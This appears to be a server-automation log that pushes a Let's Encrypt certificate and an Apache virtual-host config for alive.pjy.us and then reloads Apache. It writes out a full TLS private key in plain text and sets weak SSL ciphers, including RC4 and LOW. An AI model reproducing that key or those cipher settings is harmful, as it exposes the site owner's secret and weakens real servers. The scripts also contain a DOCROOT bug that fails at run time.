MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:40:08: Establishing a connection
2025-12-31 19:40:09:
PUT: /tmp/pkp620726
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
cat > $temp_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-31 19:40:10:
chmod 755 /tmp/pkp620726; /tmp/pkp620726; rm /tmp/pkp620726
2025-12-31 19:40:10:
dir=/etc/ssl/certs
2025-12-31 19:40:10:
PUT: /tmp/pkp115143
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi
2025-12-31 19:40:11:
chmod 755 /tmp/pkp115143; /tmp/pkp115143; rm /tmp/pkp115143
2025-12-31 19:40:11:
/tmp/pkp115143: line 58: [: !=: unary operator expected
STDERR:
/tmp/pkp115143: line 58: [: !=: unary operator expected
2025-12-31 19:40:11:
PUT: /tmp/pkp775644
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-31 19:40:12:
